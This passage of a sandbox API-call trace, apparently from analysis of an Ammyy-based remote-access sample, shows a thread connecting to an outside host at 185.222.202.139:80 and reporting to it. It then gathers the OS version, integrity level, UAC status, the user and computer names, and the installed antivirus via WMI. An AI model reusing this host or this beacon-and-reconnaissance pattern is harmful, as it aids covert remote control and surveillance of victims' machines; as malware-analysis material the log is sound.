| out: lpMsg=0x2df914) returned 0 [0158.113] Sleep (dwMilliseconds=0x64) [0158.128] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803959942) returned 1 [0158.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803960124) returned 1 [0158.128] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.129] Sleep (dwMilliseconds=0x64) [0158.143] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.143] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804011562) returned 1 [0158.143] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804011746) returned 1 [0158.143] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.144] Sleep (dwMilliseconds=0x64) [0158.159] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.159] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804066561) returned 1 [0158.159] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804066728) returned 1 [0158.159] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.160] Sleep (dwMilliseconds=0x64) [0158.174] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.174] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804118224) returned 1 [0158.174] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804118395) returned 1 [0158.174] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.175] Sleep (dwMilliseconds=0x64) [0158.190] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.190] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804172344) returned 1 [0158.190] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804172515) returned 1 [0158.190] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.191] Sleep (dwMilliseconds=0x64) [0158.219] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804271128) returned 1 [0158.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804271317) returned 1 [0158.219] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.220] Sleep (dwMilliseconds=0x64) [0158.221] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.221] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804278253) returned 1 [0158.221] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804278435) returned 1 [0158.221] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.222] Sleep (dwMilliseconds=0x64) [0158.236] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.236] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804331587) returned 1 [0158.236] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804331770) returned 1 [0158.237] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.237] Sleep (dwMilliseconds=0x64) [0158.252] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.252] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804385288) returned 1 [0158.252] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804385475) returned 1 [0158.253] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.253] Sleep (dwMilliseconds=0x64) [0158.268] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.268] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804440370) returned 1 [0158.268] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804440570) returned 1 [0158.269] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.269] Sleep (dwMilliseconds=0x64) [0158.283] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.283] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804491555) returned 1 [0158.283] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804491811) returned 1 [0158.284] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.284] Sleep (dwMilliseconds=0x64) [0158.299] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804545059) returned 1 [0158.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804545249) returned 1 [0158.299] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.300] Sleep (dwMilliseconds=0x64) [0158.314] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.314] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804598460) returned 1 [0158.314] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804598645) returned 1 [0158.315] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.316] Sleep (dwMilliseconds=0x64) [0158.331] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804654900) returned 1 [0158.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804655085) returned 1 [0158.332] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.332] Sleep (dwMilliseconds=0x64) [0158.345] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.346] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804704833) returned 1 [0158.346] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804705030) returned 1 [0158.346] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.347] Sleep (dwMilliseconds=0x64) [0158.365] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804772264) returned 1 [0158.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804772434) returned 1 [0158.366] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.366] Sleep (dwMilliseconds=0x64) [0158.377] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.377] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804813710) returned 1 [0158.377] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804813877) returned 1 [0158.378] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.378] Sleep (dwMilliseconds=0x64) [0158.392] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804864623) returned 1 [0158.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804864802) returned 1 [0158.393] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.393] Sleep (dwMilliseconds=0x64) [0158.408] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.408] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=804919123) returned 1 [0158.408] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=804919291) returned 1 [0158.409] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.409] Sleep (dwMilliseconds=0x64) [0158.423] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=805065804) returned 1 [0158.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=805066045) returned 1 [0158.452] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.452] Sleep (dwMilliseconds=0x64) [0158.455] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=805077950) returned 1 [0158.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=805078120) returned 1 [0158.455] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.456] Sleep (dwMilliseconds=0x64) [0158.470] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.470] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=805131374) returned 1 [0158.470] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=805131572) returned 1 [0158.471] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.471] Sleep (dwMilliseconds=0x64) [0158.511] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=805271290) returned 1 [0158.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=805271432) returned 1 [0158.512] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.512] Sleep (dwMilliseconds=0x64) [0158.519] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.519] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=805298476) returned 1 [0158.519] QueryPerformanceCounter (lpPerformanceCount=0x2df980) Thread: id = 191 os_tid = 0xb30 [0090.769] GetLastError () returned 0x57 [0090.769] SetLastError (dwErrCode=0x57) [0090.769] CreateEventW (lpEventAttributes=0x63b948, bManualReset=0, bInitialState=0, lpName="Global\\Ammyy.Target.StateEvent_1_") returned 0xe4 [0090.769] lstrlenA (lpString="") returned 0 [0090.769] socket (af=2, type=1, protocol=0) returned 0xf0 [0090.775] lstrlenA (lpString="185.222.202.139") returned 15 [0090.775] GetLastError () returned 0x0 [0090.775] SetLastError (dwErrCode=0x0) [0090.775] lstrlenA (lpString="Connecting to 185.222.202.139:80") returned 32 [0090.775] lstrlenA (lpString="Connecting to 185.222.202.139:80") returned 32 [0090.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x649ae4, cbMultiByte=-1, lpWideCharStr=0x649c4c, cchWideChar=33 | out: lpWideCharStr="Connecting to 185.222.202.139:80") returned 33 [0090.775] lstrlenW (lpString="Connecting to 185.222.202.139:80") returned 32 [0090.776] inet_addr (cp="185.222.202.139") returned 0x8bcadeb9 [0090.776] htons (hostshort=0x50) returned 0x5000 [0090.776] connect (s=0xf0, name=0x249f7c4*(sa_family=2, sin_port=0x50, sin_addr="185.222.202.139"), namelen=16) returned 0 [0090.847] lstrlenA (lpString="185.222.202.139") returned 15 [0090.847] GetLastError () returned 0x0 [0090.847] SetLastError (dwErrCode=0x0) [0090.847] lstrlenA (lpString="Connected to 185.222.202.139:80") returned 31 [0090.847] lstrlenA (lpString="Connected to 185.222.202.139:80") returned 31 [0090.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x649ae4, cbMultiByte=-1, lpWideCharStr=0x649c4c, cchWideChar=32 | out: lpWideCharStr="Connected to 185.222.202.139:80") returned 32 [0090.847] lstrlenW (lpString="Connected to 185.222.202.139:80") returned 31 [0090.848] setsockopt (s=0xf0, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0090.848] setsockopt (s=0xf0, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0090.848] WSAIoctl (in: s=0xf0, dwIoControlCode=0x98000004, lpvInBuffer=0x249f7b8, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x249f7b4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x249f7b4, lpOverlapped=0x0) returned 0 [0090.848] CloseHandle (hObject=0xe4) returned 1 [0090.848] GetLastError () returned 0x0 [0090.848] SetLastError (dwErrCode=0x0) [0090.848] CreateEventW (lpEventAttributes=0x63b948, bManualReset=0, bInitialState=0, lpName="Global\\Ammyy.Target.StateEvent_2_") returned 0xe4 [0090.848] GetTickCount () returned 0xa6f5b6 [0090.848] send (in: s=0xf0, buf=0x649c40*, len=36, flags=0 | out: buf=0x649c40*) returned 36 [0090.848] lstrlenA (lpString="185.222.202.139") returned 15 [0090.848] GetLastError () returned 0x0 [0090.848] SetLastError (dwErrCode=0x0) [0090.849] lstrlenA (lpString="Sent initial message to router 185.222.202.139") returned 46 [0090.849] lstrlenA (lpString="Sent initial message to router 185.222.202.139") returned 46 [0090.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x649c4c, cbMultiByte=-1, lpWideCharStr=0x649ae4, cchWideChar=47 | out: lpWideCharStr="Sent initial message to router 185.222.202.139") returned 47 [0090.849] lstrlenW (lpString="Sent initial message to router 185.222.202.139") returned 46 [0090.849] GetTickCount () returned 0xa6f5b6 [0090.849] ioctlsocket (in: s=0xf0, cmd=1074030207, argp=0x249f7c4 | out: argp=0x249f7c4) returned 0 [0090.849] GetTickCount () returned 0xa6f5b6 [0090.849] Sleep (dwMilliseconds=0x32) [0090.908] ioctlsocket (in: s=0xf0, cmd=1074030207, argp=0x249f7c4 | out: argp=0x249f7c4) returned 0 [0090.908] GetTickCount () returned 0xa6f5f5 [0090.908] Sleep (dwMilliseconds=0x32) [0090.974] ioctlsocket (in: s=0xf0, cmd=1074030207, argp=0x249f7c4 | out: argp=0x249f7c4) returned 0 [0090.974] recv (in: s=0xf0, buf=0x249f8d8, len=2, flags=0 | out: buf=0x249f8d8*) returned 2 [0090.974] lstrlenA (lpString="185.222.202.139") returned 15 [0090.974] GetLastError () returned 0x0 [0090.974] SetLastError (dwErrCode=0x0) [0090.974] lstrlenA (lpString="Connected to router '185.222.202.139:80' successfully") returned 53 [0090.974] lstrlenA (lpString="Connected to router '185.222.202.139:80' successfully") returned 53 [0090.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x649c4c, cbMultiByte=-1, lpWideCharStr=0x62fec4, cchWideChar=54 | out: lpWideCharStr="Connected to router '185.222.202.139:80' successfully") returned 54 [0090.974] lstrlenW (lpString="Connected to router '185.222.202.139:80' successfully") returned 53 [0090.974] CloseHandle (hObject=0xe4) returned 1 [0090.974] GetLastError () returned 0x0 [0090.974] SetLastError (dwErrCode=0x0) [0090.974] CreateEventW (lpEventAttributes=0x63b948, bManualReset=0, bInitialState=0, lpName="Global\\Ammyy.Target.StateEvent_3_") returned 0xe4 [0090.974] setsockopt (s=0xf0, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0090.974] setsockopt (s=0xf0, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0090.974] WSAIoctl (in: s=0xf0, dwIoControlCode=0x98000004, lpvInBuffer=0x249f8d0, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x249f8cc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x249f8cc, lpOverlapped=0x0) returned 0 [0090.974] ioctlsocket (in: s=0xf0, cmd=-2147195266, argp=0x249f8f4 | out: argp=0x249f8f4) returned 0 [0090.974] setsockopt (s=0xf0, level=65535, optname=4097, optval="", optlen=4) returned 0 [0090.975] GetLastError () returned 0x0 [0090.975] SetLastError (dwErrCode=0x0) [0090.975] GetLastError () returned 0x0 [0090.975] SetLastError (dwErrCode=0x0) [0090.975] GetLastError () returned 0x0 [0090.975] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] GetLastError () returned 0x0 [0090.976] SetLastError (dwErrCode=0x0) [0090.976] lstrlenA (lpString="Unknown") returned 7 [0090.977] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x775d0000 [0090.977] GetProcAddress (hModule=0x775d0000, lpProcName="RtlGetVersion") returned 0x7760873a [0090.977] RtlGetVersion (in: lpVersionInformation=0x249f5bc | out: lpVersionInformation=0x249f5bc*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0090.977] lstrlenA (lpString="7") returned 1 [0090.977] GetLastError () returned 0x0 [0090.977] SetLastError (dwErrCode=0x0) [0090.977] lstrlenA (lpString=" SP1") returned 4 [0090.977] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75440000 [0090.977] GetProcAddress (hModule=0x75440000, lpProcName="GetNativeSystemInfo") returned 0x754610b5 [0090.977] GetNativeSystemInfo (in: lpSystemInfo=0x249f550 | out: lpSystemInfo=0x249f550*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4f01)) [0090.977] lstrlenA (lpString=" x64") returned 4 [0090.977] GetLastError () returned 0x0 [0090.978] GetProcAddress (hModule=0x75440000, lpProcName="FlsGetValue") returned 0x75451252 [0090.978] SetLastError (dwErrCode=0x0) [0090.978] GetLastError () returned 0x0 [0090.978] SetLastError (dwErrCode=0x0) [0090.978] GetLastError () returned 0x0 [0090.978] SetLastError (dwErrCode=0x0) [0090.978] GetLastError () returned 0x0 [0090.978] SetLastError (dwErrCode=0x0) [0090.978] GetLastError () returned 0x0 [0090.978] SetLastError (dwErrCode=0x0) [0090.978] GetLastError () returned 0x0 [0090.978] SetLastError (dwErrCode=0x0) [0090.978] GetLastError () returned 0x0 [0090.978] SetLastError (dwErrCode=0x0) [0090.978] lstrlenA (lpString="Unknown") returned 7 [0090.978] GetCurrentProcess () returned 0xffffffff [0090.978] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x249f6c4 | out: TokenHandle=0x249f6c4*=0xf4) returned 1 [0090.978] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x249f6c0 | out: TokenInformation=0x0, ReturnLength=0x249f6c0) returned 0 [0090.978] GetLastError () returned 0x7a [0090.978] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x648fd0 [0090.978] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x19, TokenInformation=0x648fd0, TokenInformationLength=0x14, ReturnLength=0x249f6c0 | out: TokenInformation=0x648fd0, ReturnLength=0x249f6c0) returned 1 [0090.978] GetSidSubAuthority (pSid=0x648fd8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x648fe0 [0090.978] CloseHandle (hObject=0xf4) returned 1 [0090.978] LocalFree (hMem=0x648fd0) returned 0x0 [0090.978] lstrlenA (lpString="User") returned 4 [0090.978] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x249f6e4 | out: phkResult=0x249f6e4*=0xf4) returned 0x0 [0090.979] RegQueryValueExA (in: hKey=0xf4, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x0, lpData=0x249f6e0, lpcbData=0x249f6b8*=0x4 | out: lpType=0x0, lpData=0x249f6e0*=0x1, lpcbData=0x249f6b8*=0x4) returned 0x0 [0090.979] RegCloseKey (hKey=0xf4) returned 0x0 [0090.979] GetLastError () returned 0x0 [0090.979] SetLastError (dwErrCode=0x0) [0090.979] GetLastError () returned 0x0 [0090.979] SetLastError (dwErrCode=0x0) [0090.979] GetLastError () returned 0x0 [0090.979] SetLastError (dwErrCode=0x0) [0090.979] GetLastError () returned 0x0 [0090.979] SetLastError (dwErrCode=0x0) [0090.979] lstrlenA (lpString="-") returned 1 [0090.979] GetUserNameExA (in: NameFormat=0x2, lpNameBuffer=0x249f5e8, nSize=0x249f5e4 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x249f5e4) returned 0x1 [0090.981] lstrlenA (lpString="EXB9WSP\\qj4SUKboE") returned 17 [0090.981] GetLastError () returned 0x0 [0090.981] SetLastError (dwErrCode=0x0) [0090.981] GetLastError () returned 0x0 [0090.981] SetLastError (dwErrCode=0x0) [0090.981] GetLastError () returned 0x0 [0090.981] SetLastError (dwErrCode=0x0) [0090.982] GetComputerNameA (in: lpBuffer=0x64cd64, nSize=0x249f6e8 | out: lpBuffer="EXB9WSP", nSize=0x249f6e8) returned 1 [0090.982] GetLastError () returned 0xcb [0090.982] SetLastError (dwErrCode=0xcb) [0090.982] GetLastError () returned 0xcb [0090.982] SetLastError (dwErrCode=0xcb) [0090.982] GetLastError () returned 0xcb [0090.982] SetLastError (dwErrCode=0xcb) [0090.982] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0090.983] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0091.021] CoCreateInstance (in: rclsid=0xc7940*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc7870*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x249f698 | out: ppv=0x249f698*=0x2670828) returned 0x0 [0091.688] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2670828, strNetworkResource="root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x249f69c | out: ppNamespace=0x249f69c*=0x267cfe4) returned 0x0 [0092.238] CoSetProxyBlanket (pProxy=0x267cfe4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x3, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0092.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd9eb8, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0092.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd9eb8, cbMultiByte=31, lpWideCharStr=0x249f5b0, cchWideChar=31 | out: lpWideCharStr="SELECT * FROM AntiVirusProduct") returned 31 [0092.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd9ed8, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0092.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd9ed8, cbMultiByte=4, lpWideCharStr=0x249f5f0, cchWideChar=4 | out: lpWideCharStr="WQL") returned 4 [0092.239] IWbemServices:ExecQuery (in: This=0x267cfe4, strQueryLanguage="WQL", strQuery="SELECT * FROM AntiVirusProduct", lFlags=48, pCtx=0x0, ppEnum=0x249f694 | out: ppEnum=0x249f694*=0x267c754) returned 0x0 [0092.248] IEnumWbemClassObject:Next (in: This=0x267c754, lTimeout=-1, uCount=0xa, apObjects=0x249f6a0, puReturned=0x249f6e4 | out: apObjects=0x249f6a0*=0x0, puReturned=0x249f6e4*=0x0) returned 0x1 [0092.259] IUnknown:Release (This=0x267cfe4) returned 0x0 [0092.260] WbemLocator:IUnknown:Release (This=0x2670828) returned 0x0 [0092.260] IUnknown:Release (This=0x267c754) returned 0x0 [0092.261] CoUninitialize () [0092.267] lstrlenA (lpString="") returned 0 [0092.267] GetLastError () returned 0x0 [0092.267] 